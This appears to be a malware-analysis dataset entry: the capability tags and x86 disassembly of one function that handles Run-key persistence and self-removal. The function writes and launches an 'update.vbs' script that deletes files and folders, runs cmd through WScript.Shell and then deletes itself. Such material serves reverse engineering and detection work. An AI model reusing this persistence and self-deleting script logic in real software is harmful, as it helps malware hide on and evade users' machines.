Function at 0x40c28e
Capabilities:
Create process on windows
Delete registry key
Persist via run registry key
Set file attributes
Terminate process

Disassembly:
sub esp, 0x2b4
push ebx
push ebp
push esi
push edi
call fcn.00411699
cmp dword [0x474144], 0
je 0x40c2b0
mov ecx, 0x4740f8
call fcn.0040afba
xor ebx, ebx
inc ebx
cmp byte [0x471ddc], bl
jne 0x40c2c0
call fcn.00418c08
cmp byte [0x471abd], 0
je 0x40c2da
mov ecx, 0x473d60
call fcn.00401e07
mov ecx, eax
call fcn.0041b42f
mov esi, 0x4742c8
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionRun_
cmp byte [0x471d89], bl
jne 0x40c301
mov ecx, esi
call fcn.00401e07
push eax
mov edx, edi
mov ecx, connect
call fcn.0041297a
pop ecx
mov ebp, connect
cmp byte [0x471b76], bl
jne 0x40c320
mov ecx, esi
call fcn.00401e07
push eax
mov edx, edi
mov ecx, ebp
call fcn.0041297a
pop ecx
cmp byte [0x471b77], bl
jne 0x40c33d
mov ecx, esi
call fcn.00401e07
push eax
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, ebp
call fcn.0041297a
pop ecx
mov esi, 0x474340
mov ecx, esi
call fcn.004022f8
push eax
mov ecx, esi
call fcn.00401e8f
push eax
mov esi, 0x208
lea eax, [esp + 0xc0]
push esi
push eax
mov ebx, 0x4742f8
push str.fgnjalj
mov ecx, ebx
call fcn.00401e8f
mov edx, eax
call fcn.0041265d
add esp, 0x14
xor edi, edi
test al, al
jne 0x40c391
push esi
lea eax, [esp + 0xbc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, ebx
call fcn.00401e8f
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [esp + 0xb8]
push 0x80
push eax
call esi
mov ebx, eax
mov ebp, 0x465900
neg ebx
mov edx, ebp
mov ecx, 0x474310
sbb bl, bl
and bl, 1
call fcn.00406a1a
test al, al
je 0x40c3e9
push 0x80
mov ecx, 0x474310
call fcn.00401e07
push eax
call esi
push str.update.vbs
push 0x4661f0
call fcn.0043ac0f
pop ecx
push eax
lea ecx, [esp + 0x30]
call fcn.00403b40
mov edx, eax
lea ecx, [esp + 0x74]
call fcn.004028cf
pop ecx
lea ecx, [esp + 0x28]
call fcn.00401e13
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [esp + 0x2c]
call fcn.00403b40
push eax
mov edx, str.On_Error_Resume_Next_n
lea ecx, [esp + 0x14]
call fcn.00403cbb
pop ecx
lea ecx, [esp + 0x28]
call fcn.00401e13
test bl, bl
je 0x40c49a
push 0x466298
lea eax, [esp + 0xbc]
push eax
lea ecx, [esp + 0x60]
call fcn.00403b40
push eax
mov edx, str.while_fso.FileExists__
lea ecx, [esp + 0x48]
call fcn.00403cbb
pop ecx
mov edx, eax
lea ecx, [esp + 0x2c]
call fcn.004028cf
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.00402de3
lea ecx, [esp + 0x28]
call fcn.00401e13
lea ecx, [esp + 0x40]
call fcn.00401e13
lea ecx, [esp + 0x58]
call fcn.00401e13
mov esi, 0x4662d0
lea eax, [esp + 0xb8]
push esi
push eax
push str.fso.DeleteFile__
lea ecx, [esp + 0x34]
call fcn.00403b40
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.004028cf
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.004028cf
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.00402de3
lea ecx, [esp + 0x58]
call fcn.00401e13
lea ecx, [esp + 0x40]
call fcn.00401e13
lea ecx, [esp + 0x28]
call fcn.00401e13
test bl, bl
je 0x40c505
push str.wend_n
lea ecx, [esp + 0x14]
call fcn.004082d2
mov ebx, 0x474310
mov edx, ebp
mov ecx, ebx
call fcn.00406a1a
test al, al
je 0x40c550
push esi
push ebx
mov edx, str.fso.DeleteFolder__
lea ecx, [esp + 0x48]
call fcn.0040b0dd
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.004028cf
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.00402de3
lea ecx, [esp + 0x58]
call fcn.00401e13
lea ecx, [esp + 0x40]
call fcn.00401e13
push 0x466398
push 0x46639c
lea ecx, [esp + 0xa8]
call fcn.00403b40
push eax
lea eax, [esp + 0x2d0]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [esp + 0x98]
call fcn.00403b40
mov edx, eax
lea ecx, [esp + 0x34]
call fcn.00403cdc
pop ecx
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.00402860
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.004028cf
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.00402de3
lea ecx, [esp + 0x58]
call fcn.00401e13
lea ecx, [esp + 0x40]
call fcn.00401e13
lea ecx, [esp + 0x28]
call fcn.00401e13
lea ecx, [esp + 0x88]
call fcn.00401e13
lea ecx, [esp + 0xa0]
call fcn.00401e13
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [esp + 0x14]
call fcn.004082d2
push edi
lea ecx, [esp + 0x74]
call fcn.00401e07
push eax
lea ecx, [esp + 0x18]
call fcn.004022f8
mov esi, eax
lea ecx, [esp + 0x18]
add esi, esi
call fcn.00401e07
mov edx, esi
mov ecx, eax
call fcn.0041b58f
pop ecx
pop ecx
test al, al
je 0x40c644
push edi
push ebp
push ebp
lea ecx, [esp + 0x7c]
call fcn.00401e07
push eax
push 0x46559c
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40c644
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [esp + 0x10]
call fcn.00401e13
lea ecx, [esp + 0x70]
call fcn.00401e13
lea ecx, [esp + 0x2c8]
call fcn.00401e13
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret